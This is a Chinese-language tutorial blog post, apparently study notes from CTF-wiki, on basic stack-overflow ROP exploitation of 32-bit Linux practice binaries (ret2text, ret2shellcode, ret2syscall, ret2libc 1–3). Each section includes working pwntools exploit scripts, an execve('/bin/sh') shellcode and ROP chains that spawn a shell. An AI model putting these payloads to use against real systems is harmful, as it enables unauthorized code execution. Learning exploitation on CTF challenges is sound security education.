1. 程式人生 > >棧溢位----基礎rop

棧溢位----基礎rop

學習文獻:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/

1. 棧溢位基本原理就不寫了

列舉一下常見的危險函式:

  • 輸入
    • gets,直接讀取一行,忽略'\x00'
    • scanf
    • vscanf
  • 輸出
    • sprintf
  • 字串
    • strcpy,字串複製,遇到'\x00'停止
    • strcat,字串拼接,遇到'\x00'停止
    • bcopy

2. 基礎rop

ret2text

開啟NX,無棧保護,32位檔案

IDA中開啟可以發現system以及/bin/sh,存在危險函式gets,直接修改ret

計算需要覆蓋的偏移量

知道ebp和esp之後,結合s相對於esp的偏移量

exp

payload='a'*(0x6c+0x04)
cn.sendline(payload+p32(0x0804863A))
cn.interactive()

 

ret2shellcode

ret2shellcode,即控制程式執行 shellcode 程式碼。shellcode 指的是用於完成某個功能的彙編程式碼,常見的功能主要是獲取目標系統的 shell。一般來說,shellcode 需要我們自己填充。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執行的程式碼

在棧溢位的基礎上,要想執行 shellcode,需要對應的 binary 在執行時,shellcode 所在的區域具有可執行許可權。

這是學習文獻中的原話,連結上面有,之前我們看見有那個NX保護,也就是說相應區域的NX保護沒開啟,我們自己手動打shellcode來奪取許可權

啥保護都沒開啟,辣是真滴流批,32位檔案

main函式中有gets還有strncpy函式,但是沒有相對應的system和/bin/sh,但是NX沒開啟,打shellcode

這裡gets函式返回地址沒有system給我們構造,但是strncpy裡的buf欄位我們可以嘗試通過往s寫如shellcode來複制進去,buf我們可以看到在bss欄位

我們可以檢視一下該欄位的許可權

我們可以看到buf所在處(0x0804A080)是可執行的

計算偏移量

設斷電後,發現s相對於ebp的偏移量是0x6C

也就是說我們覆蓋空間+shellcode=0x6C+0x04,exp如下

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

#cn.sendline(shellcode.ljust(112, 'a')+p32(0x0804a080))
cn.sendline(shellcode+'a'*(0x6C+0x04-len(shellcode))+p32(0x0804a080)) #等價於上一行
cn.interactive()

 

ret2syscall

ret2syscall,即控制程式執行系統呼叫,獲取 shell

32位,沒有棧保護,有NX,拖進IDA看一下main函式

這次我們可以發現沒有system函式,NX保護開啟了,但是我們可以搜尋字串找到/bin/sh,但是我們這次沒有函式來呼叫我們的shell,那怎麼辦?

我們可以偽造一個系統呼叫

我們可以將需要呼叫的引數壓入對應的暫存器,那麼我們在執行 int 0x80 就可執行對應的系統呼叫

#int $0x80是一條AT&T語法的中斷指令,用於Linux的系統呼叫

其中,該程式是 32 位,所以我們需要使得

  • 系統呼叫號,即 eax 應該為 0xb
  • 第一個引數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。
  • 第二個引數,即 ecx 應該為 0
  • 第三個引數,即 edx 應該為 0

我們可以使用 ropgadgets 這個工具來尋找各個暫存器可以控制的地址以及int 0x80的地址和/bin/sh的地址,具體如下

我們這裡選擇0x080bb196

之後我們找ebx的時候選擇0x0806eb90(edx,ecx,ebx全都有)

/bin/sh地址為0x080be408

int 0x80地址為0x08049421

最後就差指令碼了,但不要忘記s的偏移量哦

依然是0x6c

來,exp

eax_ret = 0x080bb196
edx_ecx_ebx_ret = 0x0806eb90
bin_sh=0x080be408
int_80=0x08049421
payload=flat(['a'*(0x6C+0x04), eax_ret, 0xb, edx_ecx_ebx_ret, 0, 0, bin_sh, int_80])
#payload='a'*(0x6C+0x04)+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh)+p32(int_80)    #遇上一行相同
cn.sendline(payload)
cn.interactive()

 

ret2libc

ret2libc 即控制函式的執行 libc 中的函式,通常是返回至某個函式的 plt 處或者函式的具體位置 (即函式對應的 got 表項的內容)。一般情況下,我們會選擇執行 system("/bin/sh"),故而此時我們需要知道 system 函式的地址

#ibc:Linux下的ANSI C的函式庫,ANSI C是基本的C語言函式庫,包含了C語言最基本的庫函式

#plt與got:https://blog.csdn.net/linyt/article/details/51635768

先看一波這檔案防護機制情況

32位,開啟了NX保護,沒有棧溢位保拖進IDA確定漏洞位置

gets函式可以溢位

存在/bin/sh

存在system函式

OK,那直接覆蓋eip,正常呼叫system函式的時候,記得要新增一個返回地址(隨便就好,反正是假的)

system_addr=0x08048460
bin_sh=0x08048720
payload=flat(['a'*(0x6C+0x04),system_addr,'a'*0x04,bin_sh])
cn.sendline(payload)
cn.interactive()

 

ret2libc2

我們已經感受了一波lib,有system函式,但是這次不給你/bin/sh,要靠自己寫入咯

32位檔案,有NX保護,無棧溢位保護

拖進IDA找漏洞位置

gets函式可以溢位

因為本身是沒有/bin/sh的,所以我們需要在一個空的bss欄位寫入/bin/sh

exp

gets_plt=0x08048460
system_plt=0x08048490
bss=0x0804A080
ebp_ret=0x0804843d
payload=flat(['a'*(0x6C+0x04),gets_plt,ebp_ret,bss])
payload2=flat([system_plt,'a'*0x04,bss])
cn.send(payload)
cn.sendline(payload2)
cn.sendline('/bin/sh')
cn.interactive()

 

ret2libc3

接下來更進一步了,連system函式都沒了,需要我們去libc庫裡找,/bin/sh也可以去libc庫裡找

有NX,無棧保護

gets函式可以溢位

system 函式屬於 libc,而 libc.so 動態連結庫中的函式之間相對偏移是固定的,我們可以通過找出檔案中的函式在got表中的地址,再結合got表中距離system函式的偏移量,從而把system在檔案中的存放地址調出來,/bin/sh也是同理

這裡我們洩露 __libc_start_main 的地址,這是因為它是程式最初被執行的地方。基本利用思路如下

  • 洩露 __libc_start_main 地址
  • 獲取 libc 版本
  • 獲取 system 地址與 /bin/sh 的地址
  • 再次執行源程式
  • 觸發棧溢位執行 system(‘/bin/sh’)

exp

puts_plt=bin.plt['puts']
libc_start_main_got=bin.got['__libc_start_main']
main=bin.symbols['main']
payload=flat(['a'*(0x6C+0x04),puts_plt,main,libc_start_main_got])
cn.recvuntil('Can you find it !?')
cn.sendline(payload)
libc_start_main_addr=u32(cn.recv(4))        #leak address
system_addr=libc.symbols['system']+libc_start_main_addr-libc.symbols['__libc_start_main']
bin_sh_addr=libc.search('/bin/sh').next()+libc_start_main_addr-libc.symbols['__libc_start_main']
payload2 = flat(['a'*(0x6C+0x04), system_addr, 'a'*0x04, bin_sh_addr])
cn.recvuntil('Can you find it !?')
cn.sendline(payload2)
cn.interactive()